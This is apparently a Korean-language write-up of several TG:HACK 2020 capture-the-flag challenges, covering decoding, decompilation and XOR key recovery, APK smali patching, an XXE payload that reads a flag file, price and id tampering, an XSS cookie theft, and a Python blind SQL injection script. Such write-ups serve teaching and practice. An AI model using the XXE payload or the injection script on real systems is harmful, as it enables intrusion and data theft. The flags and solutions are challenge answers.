My friend only speaks in numbers. What does he say?
84 71 50 48 123 110 117 109 98 101 114 115 95 97 110 100 95 116 101 120 116 95 103 111 101 115 95 104 97 110 100 95 105 110 95 104 97 110 100 125
Need help?
Read the Starship Code and Cypher School tutorial if you don't know what to do!
헥스값을 문자열로 변환하면 된다.
>>> a='84 71 50 48 123 110 117 109 98 101 114 115 95 97 110 100 95 116 101 120 116 95 103 111 101 115 95 104 97 110 100 95 105 110 95 104 97 110 100 125'.split(' ')
>>> a=map(lambda x : chr(int(x)), a)
>>> bytearray(a)
bytearray(b'TG20{numbers_and_text_goes_hand_in_hand}')
Download this file and get the flag. You will also need this wordlist
디컴파일러를 설치하고 디컴파일한다.
pip install uncompyle6
uncompyle6 <파일명.pyc>
소스가 출력되는데 파이썬 소스파일로 저장하여 실행할 수 있다.
import base64
from itertools import cycle
class myGame:
def __init__(self, xdim=4, ydim=4):
self.x = xdim
self.y = ydim
self.matrix = []
for i in range(self.x):
row = []
for j in range(self.y):
row.append(0)
self.matrix.append(row)
def make_keys(self, *args, **kwargs):
words = []
with open('wordlist.txt') as (f):
for line in f:
words.append(line.strip())
for i in range(self.x):
for j in range(self.y):
self.matrix[j][i] = words[(i + j)]
keyArray = []
keyArray.append(self.matrix[args[0]][args[1]])
keyArray.append(self.matrix[args[2]][args[3]])
key = ''
for k in keyArray:
key = key.strip() + str(k).strip()
print(key)
return key
def checkdata(self, key):
f = base64.b64decode('NSYDUhoVWQ8SQVcOAAYRFQkORA4FQVMDQQ5fQhUEWUYMDl4MHA==')
data = f.decode('ascii')
c = ''.join((chr(ord(c) ^ ord(k)) for c, k in zip(data, cycle(key))))
print('%s ^ %s = %s' % (data, key, c))
if __name__ == '__main__':
mgame = myGame(25, 25)
x = input('input a number: ')
y = input('input a number: ')
x1 = input('input a number: ')
y1 = input('input a number: ')
data = mgame.make_keys(int(x), int(y), int(x1), int(y1))
mgame.checkdata(data)
값을 4개 입력받는데, 아무 값이나 입력해보면
root@kali:/work/ctf/TGHACK2020/rev/Game_of_Keys# python keygame.py
input a number: 1
input a number: 1
input a number: 1
input a number: 1
aa0caa0c
5&R▒YAW DASA_BYF
^
^ aa0caa0c = TG31{tils gmag!vhotmd c` oo!tei%mono}
일반적인 플래그 형식이다.
그리고 몇가지 더 입력해보면 사용되는 키는 aaXXaaXX로 aa부분이 고정되고 이 키가 반복되어 사용된다는 것을 알 수 있다.
또한 플래그값 시작부분이 TG20{thi로 시작한다는 것을 유추할 수 있다.
암호화된 값을 알고있으므로 TG20{thi와 XOR하면 key 값을 구할 수 있다.
def getKey(self, plain):
f = base64.b64decode('NSYDUhoVWQ8SQVcOAAYRFQkORA4FQVMDQQ5fQhUEWUYMDl4MHA==')
data = f.decode('ascii')
c = ''.join((chr(ord(c) ^ ord(k)) for c, k in zip(data, cycle(plain))))
print c
if __name__ == '__main__':
mgame = myGame(25, 25)
strs = 'TG20{this'
mgame.getKey(strs[:8])
mgame.checkdata('aa1baa1fF'[:8])
구한 key값으로 checkdata
를 호출하면 플래그가 출력된다.
TG20{this flag should be on teh moon}
Someone found this very old game lying around. Apparently there is an extremely funny joke in there somewhere.
Here, take this APK.
Hint
Random title?
주어진 apk을 실행해보면 겔로그와 비슷한 게임임을 알 수 있다.
디컴파일해서 smali를 확인해보면 조건을 확인해 Contrats를 출력해주는 루틴을 확인할 수 있다.
:cond_e
sget-object p1, Lno/tghack/gaiainvaders/Invader;->Companion:Lno/tghack/gaiainvaders/Invader$Companion;
invoke-virtual {p1}, Lno/tghack/gaiainvaders/Invader$Companion;->getNumberOfInvaders()I
move-result p1
if-eqz p1, :cond_10
.line 265
iget p1, p0, Lno/tghack/gaiainvaders/GaiaInvadersView;->waves:I
const/16 v0, 0x3e8
if-ne p1, v0, :cond_f
if-ne
를 반대의 조건인 if-eq
로 바꿔주면 플래그값을 확인할 수 있게 된다.
This program looks like it's password protected, but we can't seem to find the correct password.
nc boofy.tghack.no 6003
or use a mirror closer to you:
nc us.boofy.tghack.no 6003 (US)
nc asia.boofy.tghack.no 6003 (Japan)
files:
IDA로 열어보면 상수값 패스워드를 비교한 후 플래그값을 출력한다.
상수값을 그대로 입력하면 된다.
https://velog.io/@woounnan/TGHACK2020-Bufferfly
One of our agents managed to install a service on MOTHER's network. We can use it to extract secrets, but she didn't tell me how! Can you figure it out?
nc extract.tghack.no 6000
or use a mirror closer to you:nc us.extract.tghack.no 6000 (US)
nc asia.extract.tghack.no 6000 (Japan)
접속하면 XML의 입력을 요구한다.
설마 했는데, XXE 치트를 입력하면 플래그 값이 출력된다.
Please enter your XML here:
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///flag.txt" >]><foo>&xxe;</foo>
TG20{never_trust_the_external_entities}
이게 왜 포너블 문제란 말인가..
We found the Mother cult merch store. In addition to selling clothing items they sell some secrets we need. For the time being we haven't been able to secure the funds necessary to do so. Can you help us?
문제에 접속하면
돈을 빌리고 갚을 수 있으며, 상점에 접속할 수 있다.
상점에서는 플래그를 포함해 다양한 아이템을 구매할 수 있지만 돈이 충분하지 않다.
빌릴 수 있는 돈도 제한되어 있다.
아이템 구입시 id
, price
이 사용되는데 메뉴에 나와있는 값과 일치해야 거래를 할 수 있다. 하지만 IDOR에 대한 방어는 되어있지 않다. 10부터 시작하는 id
값을 0~9 사이의 값으로 설정하면 설정된 가격대로 거래가 진행되고, 음수값으로 가격을 설정할 경우 소지금액이 증가하는 것을 확인할 수 있다.
플래그를 살 수 있을 만큼의 돈을 획득한 뒤 플래그를 구입하면 된다.
TG20{I_just_want_to_buy_a_real_flag}
Here is your Gaia form to get your weekly plant rations. Complete the form and reap your reward!
입력폼이 있고, 버튼을 누르면 다른 반응이 없이 콘솔로만 로그가 출력된다.
Redux는 프론트엔드에서 상태관리를 위한 프레임워크이다.
처리코드는 js\reducer
에서 확인할 수 있다.
소스를 보면 플래그값을 확인할 수 있다.
TG20{always_disable_redux_dev_tools}
We have found a forum used by members of the Mother cult. The members are sitting behind an advanced firewall without access to the internet. We need their super secret information.
값을 보내면 현재 페이지에 반영된다.
XSS 문제이다. 내 서버에 쿠키값을 보내는 스크립트를 삽입하면 내 서버에서 플래그 값이 포함되어있는 request를 확인할 수 있다.
TG20{exfiltration_is_best_filtration}
로그인 페이지와 패스워드 변경 페이지가 있다.
로그인 페이지에선 아무것도 인젝션 할 수 없으며 패스워드 변경 페이지에서 new_password
로 인젝션이 가능하다.
패스워드 변경 페이지에서 new_password
에 싱글쿼터를 입력하면 오류메시지가 출력된다.
오류 메시지로 쿼리를 예측할 수 있고,
또한 오류메시지를 검색하면 데이터베이스가 sqlite3이라는 것을 알 수 있다.
해당 데이터베이스에 맞도록 파이썬 스크립트를 작성해주어 테이블 명, 컬럼명 순으로 값을 구해서 패스워드를 변경한 후, 로그인하면 된다.
while True:
i = 0
char = ''
flag_find = 0
while i < 32:
ch = hex(i%16)[2:]
print 'ch: ' + ch
#sql_getTable = "1' where ?=? and substr(hex(substr((select tbl_name from sqlite_master limit 0, 1),{0},1)),{1},1)='{2}'".format(len(flags)+1, (i/16)+1, ch)
sql_getColumn = "1' where ?=? and substr(hex(substr((select user from {0} limit 0, 1),{1},1)),{2},1)='{3}'".format(name_table, len(flags)+1, (i/16)+1, ch)
payload = sql_getColumn + ' -- '
print 'payload : ' + payload
data = {'user': '', 'old_pass' : '', 'new_pass' : payload}
res = requests.post(url, data=data, cookies = cookies)
if res.text.find('challenge') != -1:
print 'ohno !!! session closed!!'
f = open('bk', 'w')
f.write(flags)
f.close()
exit(0)
print res.text.split('<div class="line"><div class="right">')[1].split('</div>')[0]
if res.text.find('changed') != -1 :
char += ch
if i/16 == 1:
flags += chr(int(char, 16))
print 'flags: ' + flags
print 'Found!! '
print 'char: ' + char
i = (i/16)*16 + 16
print 'i: ' + str(i)
flag_find = 1
continue
i += 1
print '#####################################'
if flag_find == 0:
break
print '\n\n\n\n'
print 'flags : ' + flags